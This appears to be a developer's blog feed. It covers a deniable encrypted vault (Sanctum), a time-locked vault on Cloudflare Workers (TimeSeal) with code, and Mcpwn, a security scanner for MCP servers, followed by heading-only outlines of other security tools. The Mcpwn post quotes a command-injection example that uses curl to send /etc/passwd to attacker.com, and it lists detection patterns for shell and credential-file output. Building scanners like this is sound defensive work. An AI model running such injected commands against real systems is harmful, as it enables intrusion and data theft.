Use Tor Browser - Hides IP, defeats timing attacks
Test before trusting - Verify decoy unlocks, practice plausible deniability
Store links securely - Password manager (KeePassXC/Bitwarden)
Never reveal hidden layers - Act natural, claim "this is all I have"

🐦 Warrant Canary

Sanctum includes a live warrant canary at sanctumvault.online/canary:

✅ NOT received any:
- National Security Letters (NSLs)
- FISA court orders
- Gag orders
- Requests to implement backdoors

✅ Architecture guarantees:
- Zero-knowledge: Cannot decrypt user vaults
- No user logs: No IP addresses or metadata
- No backdoors: All code is open-source
- RAM-only: No persistent storage of keys

🌐 Why IPFS?

Traditional cloud storage has single points of failure:

Centralized: Provider can be compelled to hand over data
Censorable: Governments can block access
Deletable: Provider can delete your data

IPFS provides:

Decentralized: Data replicated across multiple nodes
Censorship-resistant: Content-addressed (CID), not location-based
Immutable: Once uploaded, cannot be modified
Free: Pinata (1GB) + Filebase (5GB) free tiers

🚫 What Sanctum Is NOT

❌ Not a password manager - Use KeePassXC/Bitwarden for that
❌ Not a backup solution - IPFS data can be unpinned
❌ Not a file sharing service - Links are permanent, no deletion
❌ Not a VPN - Use Tor Browser for anonymity

💡 Lessons Learned

1. RAM-Only Storage Is Hard

// ❌ WRONG: localStorage persists to disk
localStorage.setItem('key', encode(key));

// ✅ CORRECT: In-memory only
const keyStore = new Map<string, Uint8Array>();

2. Timing Attacks Are Real

// ❌ WRONG: Instant response reveals wrong passphrase
if (passphrase !== correctPassphrase) {
  return { error: 'Invalid passphrase' };
}

// ✅ CORRECT: Constant-time comparison + random delay
const isValid = timingSafeEqual(hash(passphrase), hash(correctPassphrase));
await sleep(randomInt(500, 2000));
return isValid ? { data } : { error: 'Invalid passphrase' };

3. Browser History Is a Leak

// Vault URLs contain KeyA in fragment
// Must clear from browser history
if (window.history.replaceState) {
  window.history.replaceState(null, '', '/unlock');
}

🔮 Future Roadmap

[ ] Shamir Secret Sharing - Split vault access across multiple people
[ ] Dead Man's Switch - Auto-release after inactivity
[ ] Steganography - Hide vault in innocent-looking images
[ ] Hardware Key Support - YubiKey/Ledger integration
[ ] Mobile Apps - iOS/Android with biometric unlock

🙏 Acknowledgments

VeraCrypt - Inspiration for plausible deniability
Cloudflare Pages - Free static site hosting
Pinata/Filebase - Free IPFS pinning services
@noble/ciphers - Audited cryptography library

📜 License

Business Source License 1.1 - Free for non-production use. Production use requires commercial license after 4 years.

🔗 Links

Live Demo: sanctumvault.online
GitHub: github.com/Teycir/Sanctum
Video Demo: YouTube
Contact: teycirbensoltane.tn

💬 Discussion

What do you think? Would you use cryptographic deniability for your sensitive data? What other use cases can you think of?

Drop a comment below or open an issue on GitHub!

Built with ❤️ and 🔒 by Teycir Ben Soltane

Disclaimer: Sanctum is a tool for legitimate privacy needs. Users are responsible for complying with local laws. The developers do not condone illegal activities.

Building Cryptographically Enforced Time-Locked Vaults on Cloudflare's Edge

Teycir Ben Soltane — Sat, 27 Dec 2025 15:33:34 +0000

Building Cryptographically Enforced Time-Locked Vaults on Cloudflare's Edge

Most "send a message to the future" apps have a fundamental problem: they rely on trust. The service promises not to peek at your content early, but there's no cryptographic enforcement. I built TimeSeal to solve this using split-key cryptography and edge computing.

The Core Problem

Traditional time-lock systems have three failure modes:

Trust-based: Server promises not to decrypt early (no enforcement)
Client-side: JavaScript countdown timers (trivially bypassed)
Blockchain: High cost, complexity, and still requires oracle trust

I wanted something different: mathematically impossible to decrypt early, even with full server access.

The Solution: Split-Key Architecture

TimeSeal uses a two-key system where no single party can decrypt the content:

// Client-side: Generate two random keys
const keyA = crypto.getRandomValues(new Uint8Array(32)); // Stays in browser
const keyB = crypto.getRandomValues(new Uint8Array(32)); // Goes to server

// Combine keys for encryption
const combinedKey = await deriveKey(keyA, keyB);
const encrypted = await crypto.subtle.encrypt(
  { name: 'AES-GCM', iv },
  combinedKey,
  plaintext
);

Key A: Stored in the URL hash (#keyA), never transmitted to server
Key B: Sent to server, encrypted with master key, stored in database

The server refuses to release Key B until Date.now() >= unlockTime. Without both keys, decryption is cryptographically impossible.

Architecture Deep Dive

Layer 1: Client-Side Encryption

// crypto-utils.ts
export async function encryptContent(
  content: string,
  keyA: Uint8Array,
  keyB: Uint8Array
): Promise<EncryptedBlob> {
  const iv = crypto.getRandomValues(new Uint8Array(12));
  const combinedKey = await importKey(combineKeys(keyA, keyB));

  const ciphertext = await crypto.subtle.encrypt(
    { name: 'AES-GCM', iv },
    combinedKey,
    new TextEncoder().encode(content)
  );

  return {
    blob: arrayBufferToBase64(ciphertext),
    iv: arrayBufferToBase64(iv),
    keyB: arrayBufferToBase64(keyB)
  };
}

Why AES-GCM?

Authenticated encryption (prevents tampering)
Native browser support (Web Crypto API)
Fast and secure (256-bit keys)

Layer 2: Server-Side Key Protection

Key B is encrypted before database storage:

// api/seal/route.ts
async function encryptKeyB(keyB: string, sealId: string): Promise<string> {
  const masterKey = await deriveMasterKey(
    env.MASTER_ENCRYPTION_KEY,
    sealId
  );

  const iv = crypto.getRandomValues(new Uint8Array(12));
  const encrypted = await crypto.subtle.encrypt(
    { name: 'AES-GCM', iv },
    masterKey,
    base64ToArrayBuffer(keyB)
  );

  return `${arrayBufferToBase64(iv)}:${arrayBufferToBase64(encrypted)}`;
}

Defense in depth:

Master key stored as environment secret (not in database)
Per-seal key derivation using HKDF
Even with database access, attacker needs master key + Key A

Layer 3: Time-Lock Enforcement

// api/unlock/route.ts
export async function GET(request: Request) {
  const { sealId } = parseRequest(request);
  const seal = await db.query('SELECT * FROM seals WHERE id = ?', sealId);

  // Server-side time check (client clock irrelevant)
  if (Date.now() < seal.unlock_time) {
    return Response.json(
      { status: 'LOCKED', countdown: seal.unlock_time - Date.now() },
      { status: 403 }
    );
  }

  // Decrypt Key B and release
  const keyB = await decryptKeyB(seal.encrypted_key_b, sealId);
  return Response.json({
    status: 'UNLOCKED',
    keyB,
    blob: seal.encrypted_blob,
    iv: seal.iv
  });
}

Why Cloudflare Workers?

NTP-synchronized time across global network

No root access (can't manipulate system time)

Edge-native (low latency worldwide)

Scales automatically

Dead Man's Switch Implementation

The most interesting feature is the Dead Man's Switch: content auto-unlocks if you stop checking in.

// Pulse token structure
interface PulseToken {
  sealId: string;
  nonce: string;      // Prevents replay attacks
  signature: string;  // HMAC-SHA256
}

// api/pulse/route.ts
export async function POST(request: Request) {
  const { token } = await request.json();
  const { sealId, nonce, signature } = parseToken(token);

  // Check nonce FIRST (atomic operation)
  const nonceExists = await db.query(
    'SELECT 1 FROM used_nonces WHERE nonce = ?',
    nonce
  );
  if (nonceExists) {
    throw new Error('Replay attack detected');
  }

  // Verify signature
  const valid = await verifyHMAC(signature, sealId + nonce);
  if (!valid) {
    throw new Error('Invalid signature');
  }

  // Atomic update: mark nonce + extend deadline
  await db.transaction(async (tx) => {
    await tx.query('INSERT INTO used_nonces (nonce) VALUES (?)', nonce);
    await tx.query(
      'UPDATE seals SET unlock_time = ? WHERE id = ?',
      Date.now() + pulseInterval,
      sealId
    );
  });
}

Security considerations:

Nonce-first validation prevents concurrent replay attacks
HMAC signature prevents token forgery
Atomic transactions prevent race conditions
Database-backed nonce storage (persists across worker instances)

Ephemeral Seals: Self-Destructing Messages

Ephemeral seals auto-delete after N views:

// api/unlock/route.ts (ephemeral mode)
async function handleEphemeralUnlock(seal: Seal) {
  // Atomic view increment + check
  const result = await db.query(`
    UPDATE seals 
    SET view_count = view_count + 1 
    WHERE id = ? AND view_count < max_views
    RETURNING view_count, max_views
  `, seal.id);

  if (!result) {
    throw new Error('Max views exceeded');
  }

  // Auto-delete if exhausted
  if (result.view_count >= result.max_views) {
    await db.query('DELETE FROM seals WHERE id = ?', seal.id);
  }

  return { keyB: seal.key_b, viewsRemaining: result.max_views - result.view_count };
}

Use cases:

One-time passwords (maxViews=1)
Confidential documents (maxViews=5)
Shared secrets (maxViews=10)

Security Hardening

Rate Limiting with Browser Fingerprinting

// lib/rate-limit.ts
async function getRateLimitKey(request: Request): Promise<string> {
  const ip = request.headers.get('CF-Connecting-IP');
  const ua = request.headers.get('User-Agent');
  const lang = request.headers.get('Accept-Language');

  // SHA-256 hash for privacy
  const fingerprint = await crypto.subtle.digest(
    'SHA-256',
    new TextEncoder().encode(`${ip}:${ua}:${lang}`)
  );

  return arrayBufferToBase64(fingerprint);
}

Why fingerprinting?

IP rotation doesn't bypass limits

No PII stored (hashed fingerprints)

Collision-resistant (SHA-256)

Replay Attack Prevention

// Timing attack mitigation
async function addRandomJitter() {
  const jitter = Math.random() * 100; // 0-100ms
  await new Promise(resolve => setTimeout(resolve, jitter));
}

// All responses include jitter
export async function GET(request: Request) {
  await addRandomJitter();
  // ... handle request
}

Input Validation

// lib/validation.ts
export function validateSealInput(data: unknown): SealInput {
  const schema = z.object({
    blob: z.string().max(750_000), // 750KB limit
    keyB: z.string().length(44),   // Base64 32-byte key
    unlockTime: z.number().int().positive(),
    mode: z.enum(['TIMED', 'DEADMAN', 'EPHEMERAL'])
  });

  return schema.parse(data);
}

Database Schema

CREATE TABLE seals (
  id TEXT PRIMARY KEY,
  encrypted_blob TEXT NOT NULL,
  encrypted_key_b TEXT NOT NULL,
  iv TEXT NOT NULL,
  unlock_time INTEGER NOT NULL,
  mode TEXT NOT NULL,
  view_count INTEGER DEFAULT 0,
  max_views INTEGER,
  pulse_interval INTEGER,
  created_at INTEGER NOT NULL,
  unlocked_at INTEGER,
  access_count INTEGER DEFAULT 0
);

CREATE INDEX idx_unlock_time ON seals(unlock_time);
CREATE INDEX idx_mode ON seals(mode);

CREATE TABLE used_nonces (
  nonce TEXT PRIMARY KEY,
  created_at INTEGER NOT NULL
);

CREATE TABLE audit_log (
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  seal_id TEXT NOT NULL,
  action TEXT NOT NULL,
  fingerprint TEXT NOT NULL,
  timestamp INTEGER NOT NULL,
  metadata TEXT
);

Auto-Cleanup System

Seals auto-delete 30 days after unlock:

// api/cron/cleanup/route.ts
export async function GET(request: Request) {
  const thirtyDaysAgo = Date.now() - (30 * 24 * 60 * 60 * 1000);

  const expiredSeals = await db.query(`
    SELECT id FROM seals 
    WHERE unlocked_at IS NOT NULL 
    AND unlocked_at < ?
  `, thirtyDaysAgo);

  for (const seal of expiredSeals) {
    await db.query('DELETE FROM seals WHERE id = ?', seal.id);
  }

  return Response.json({ deleted: expiredSeals.length });
}

Cloudflare Cron Trigger:

# wrangler.toml
[triggers]
crons = ["0 2 * * *"]  # Daily at 2 AM UTC

Frontend: Next.js 14 App Router

// app/create/page.tsx
'use client';

export default function CreateSeal() {
  const [content, setContent] = useState('');
  const [unlockTime, setUnlockTime] = useState<Date>();

  async function handleCreate() {
    // Generate keys in browser
    const keyA = crypto.getRandomValues(new Uint8Array(32));
    const keyB = crypto.getRandomValues(new Uint8Array(32));

    // Encrypt content
    const encrypted = await encryptContent(content, keyA, keyB);

    // Send to server (Key A never transmitted)
    const response = await fetch('/api/seal', {
      method: 'POST',
      body: JSON.stringify({
        blob: encrypted.blob,
        keyB: encrypted.keyB,
        iv: encrypted.iv,
        unlockTime: unlockTime.getTime()
      })
    });

    const { sealId } = await response.json();

    // Build vault link with Key A in hash
    const vaultLink = `${window.location.origin}/vault/${sealId}#${arrayBufferToBase64(keyA)}`;

    // Show link to user
    setVaultLink(vaultLink);
  }

  return (
    <form onSubmit={handleCreate}>
      <textarea value={content} onChange={e => setContent(e.target.value)} />
      <input type="datetime-local" onChange={e => setUnlockTime(new Date(e.target.value))} />
      <button type="submit">Create Time-Seal</button>
    </form>
  );
}

Deployment

# Install Wrangler CLI
npm install -g wrangler

# Create D1 database
wrangler d1 create timeseal-db

# Run migrations
wrangler d1 migrations apply timeseal-db

# Set secrets
openssl rand -base64 32 | wrangler secret put MASTER_ENCRYPTION_KEY

# Deploy to Cloudflare Workers
npm run deploy

wrangler.toml:

name = "timeseal"
main = "src/index.ts"
compatibility_date = "2024-01-01"

[[d1_databases]]
binding = "DB"
database_name = "timeseal-db"
database_id = "your-database-id"

[vars]
MAX_DURATION_DAYS = 30
RATE_LIMIT_WINDOW = 3600
RATE_LIMIT_MAX = 100

Attack Scenarios & Defenses

"Can I change my computer's clock?"

No. Time checks happen server-side using Cloudflare's NTP-synchronized infrastructure. Your local clock is irrelevant.

"What if I steal the database?"

You get encrypted blobs. Without the master encryption key (environment secret) and Key A (URL hash), decryption is impossible.

"Can I replay pulse tokens?"

No. Nonces are checked atomically before processing. Concurrent requests are detected and rejected.

"Can I brute-force the seal ID?"

Extremely unlikely. Seal IDs are 32 hex characters (16 bytes) = 2^128 combinations. Even if you guess it, you still need Key A to decrypt.

Performance Metrics

Seal creation: ~200ms (includes encryption + DB write)
Unlock check: ~50ms (DB query + time check)
Decryption: ~10ms (client-side, Web Crypto API)
Global latency: <100ms (Cloudflare edge network)

Lessons Learned

Split-key architecture eliminates trust: No single party can decrypt early
Edge computing enables global time enforcement: Cloudflare Workers provide consistent time across regions
Atomic operations prevent race conditions: Database transactions are critical for Dead Man's Switch
Browser fingerprinting beats IP-based rate limiting: SHA-256 hashing preserves privacy
URL hash is perfect for client-side secrets: Never transmitted to server, HTTPS-protected

Open Source & Self-Hosting

TimeSeal is open source under the Business Source License (converts to Apache 2.0 after 4 years):

GitHub: https://github.com/teycir/timeseal
Live Demo: https://timeseal.online
Docs: Complete API reference, security audit, self-hosting guide

Self-hosting lets you:

Eliminate trust in third-party infrastructure
Customize retention policies
Deploy on private networks
Audit the entire stack

Future Roadmap

Progressive disclosure: Chain multiple seals for staged reveals
Multi-party seals: Require N-of-M keys to unlock
Hardware security modules: Store master key in Cloudflare's HSM
Blockchain anchoring: Publish seal hashes for tamper-evidence

Conclusion

Building cryptographically enforced time locks requires careful architecture:

Split keys between client and server
Encrypt everything (client-side + server-side + master key)
Enforce time server-side (never trust the client)
Use edge computing for global consistency
Prevent replay attacks with nonces and signatures
Rate limit aggressively with fingerprinting
Audit everything for transparency

The result is a system where early decryption is mathematically impossible, even with full server access. No trust required—just cryptography and edge computing.

Try it yourself: https://timeseal.online

Source code: https://github.com/teycir/timeseal

Questions? Drop a comment below or open a GitHub issue.

Built with 💚 and 🔒 by Teycir Ben Soltane

Building a Security Scanner for MCP Servers

Teycir Ben Soltane — Sat, 13 Dec 2025 17:40:08 +0000

Model Context Protocol (MCP) is Anthropic's new standard for connecting AI agents to external tools and data sources. As I started working with MCP servers, I realized something concerning: there's no automated security testing for them.

The Problem

MCP servers provide AI agents with strong abilities, including file operations, command execution, and database access. One vulnerable tool can mean full system compromise. Manual code reviews often overlook injection vulnerabilities in tool arguments.

Here's what I found during a security review:

# Looks safe in code review, right?
def execute_command(command: str):
    return subprocess.run(command, shell=True, capture_output=True)

The vulnerability? Tool arguments weren't sanitized. An AI agent could inject:

"ls; curl http://attacker.com/exfil?data=$(cat /etc/passwd)"

Building Mcpwn

I built Mcpwn - an automated security scanner for MCP servers. The name is a play on "MCP pwn" (compromise).

Key Design Decisions

1. Semantic Detection Over Crash Detection

Instead of looking for crashes, Mcpwn analyzes response content for patterns:

uid=1000(user) → Command injection
root:x:0:0:root → Path traversal
-----BEGIN PRIVATE KEY → File read vulnerability
Timing deviations → Blind injection

2. Zero Dependencies

Pure Python stdlib. No pip install needed. This was critical for:

CI/CD integration (no dependency hell)
Security auditing (less attack surface)
Quick adoption (clone and run)

3. Structured Output

JSON and SARIF formats for AI analysis and CI/CD integration:

{
  "summary": {
    "total": 3,
    "by_severity": {"CRITICAL": 2, "HIGH": 1}
  },
  "findings": [...]
}

Architecture

The scanner has three core components:

core/
├── pentester.py   # Orchestrator (thread-safe, timeout handling)
├── detector.py    # Semantic detection engine
└── reporter.py    # JSON/HTML/SARIF reports

Attack Surface Coverage

Currently implemented:

Tool argument injection (RCE, path traversal)
Resource path traversal
Prompt injection (context confusion, delimiter breakout)
Protocol fuzzing (malformed JSON-RPC)
State desync attacks
Resource exhaustion

Detection example:

# Semantic detector checks response patterns
def detect_rce(response: str) -> bool:
    patterns = [
        r'uid=\d+\([^)]+\)',      # Unix user ID
        r'gid=\d+\([^)]+\)',      # Unix group ID
        r'root:x:0:0:root'        # /etc/passwd
    ]
    return any(re.search(p, response) for p in patterns)

Real-World Impact

During testing, Mcpwn found RCE vulnerabilities in production MCP servers - specifically tool argument injection patterns that manual code review missed.

Example finding:

$ python mcpwn.py --quick npx -y @modelcontextprotocol/server-filesystem /tmp

[INFO] Found 2 tools, 0 resources
[WARNING] execute_command: RCE via command
[WARNING]   Detection: uid=1000(user) gid=1000(user)
[INFO] Mcpwn complete

Usage

Quick scan (5 seconds):

python mcpwn.py --quick npx -y @modelcontextprotocol/server-filesystem /tmp

Generate JSON report for AI analysis:

python mcpwn.py --output-json report.json <your-mcp-server>

CI/CD integration (SARIF format):

python mcpwn.py --output-sarif report.sarif <your-mcp-server>

AI-Assisted Security Workflow

Mcpwn is designed to work with AI assistants:

Automated baseline scan → Mcpwn finds pattern-based vulnerabilities
Structured output → JSON/SARIF for AI parsing
AI deep analysis → Validates findings, finds logic flaws Mcpwn missed

This hybrid approach combines automated pattern matching with AI contextual understanding.

Lessons Learned

1. Semantic detection beats crash detection

Looking for uid=1000 in responses is more reliable than waiting for segfaults. Many vulnerabilities don't crash - they just leak data.

2. Thread safety is critical

MCP servers are concurrent. Request ID generation, health checks, and send operations all needed proper locking.

3. Timeouts everywhere

Default 10s timeout with configurable overrides. Quick mode uses 5s. Learned this after hanging on unresponsive servers.

4. False positives matter

Path traversal detection requires 2+ markers to reduce false positives. Single marker = too noisy.

What's Next

Planned features:

SSRF injection detection
Deserialization attack testing
Schema pollution checks
Auth bypass testing

Current limitations:

Mcpwn detects runtime exploits but misses:

Configuration vulnerabilities (exposed credentials)
Business logic flaws
Complex multi-step attack chains

Automated tools find known patterns. Manual review finds logic flaws. Use both.

Try It

GitHub: https://github.com/Teycir/Mcpwn

Quick start:

git clone https://github.com/Teycir/Mcpwn.git
cd Mcpwn
python3 mcpwn.py --help

MIT licensed, 45 passing tests, zero dependencies.

What security testing approaches have you found effective for AI agent infrastructure? Drop a comment below.

Forem: Teycir Ben Soltane

From Screenshots to Verifiable Bitcoin Receipts

What it does

Why this approach

Design choices

Limits (important)

Current status

ApiHunter - Async API Security Scanner in Rust

🎯 ApiHunter

What It Does

Why ApiHunter?

Quick Start

Install

Scan

With active checks

A Rust-Powered Security Scanner for Ethereum Smart Contracts

Why I Built This

What It Does

How It Works

1️⃣ Define Patterns in YAML

2️⃣ Scan Contracts

3️⃣ Get Results

Real-World Use Cases

Technical Highlights

🦀 Built with Rust

🔑 Cascade API Key System

🤖 GitHub Actions Integration

🏗️ Modular Architecture

Current Limitations

Getting Started

Installation

Quick Scan

CI/CD Integration

Roadmap

Open Source & MIT Licensed

Teycir / smartcontractpatternfinder

High-performance Rust tool for detecting security vulnerabilities in smart contracts. Ethereum mainnet support with YAML-based pattern templates, CI/CD integration, and SARIF output for GitHub Security tab.

Support Development

Smart Contract Pattern Finder (SCPF)

📑 Table of Contents

Try It Out

ZkPatternMatcher: A Practical Security Scanner for ZK Circuits

The Problem

The Solution: Pattern Matching

Quick Example

Key Features

Usage as Library

CI/CD Integration

Contributing Patterns

Pattern sources:

Tech Stack

Current Status

Excalibur: A Manual WAF Bypass & Cookie Extractor Tool for Security Researchers

What is Excalibur?

The Problem Excalibur Solves

How Excalibur Works

1. Manual Browser Interaction

2. Traffic Recording

3. Export and Import

Key Features

Chrome Extension Features

Burp Suite Extension Features

Quick Start Guide

Installing the Chrome Extension

Installing the Burp Suite Extension

Prerequisites

Usage Workflow: Simple 3-Step Process

Step 1: Record in Chrome

Step 2: Export HAR Files

Step 3: Load in Burp Suite

Understanding the Output Files

HAR File (excalibur-session-YYYYMMDD-HHMMSS.har)

Cookies JSON (excalibur-session-YYYYMMDD-HHMMSS-cookies.json)

Use Cases

Bug Bounty Hunting

Penetration Testing

Security Research

Technical Architecture

Chrome Extension

Burp Suite Extension

HAR File (`excalibur-session-YYYYMMDD-HHMMSS.har`)

Cookies JSON (`excalibur-session-YYYYMMDD-HHMMSS-cookies.json`)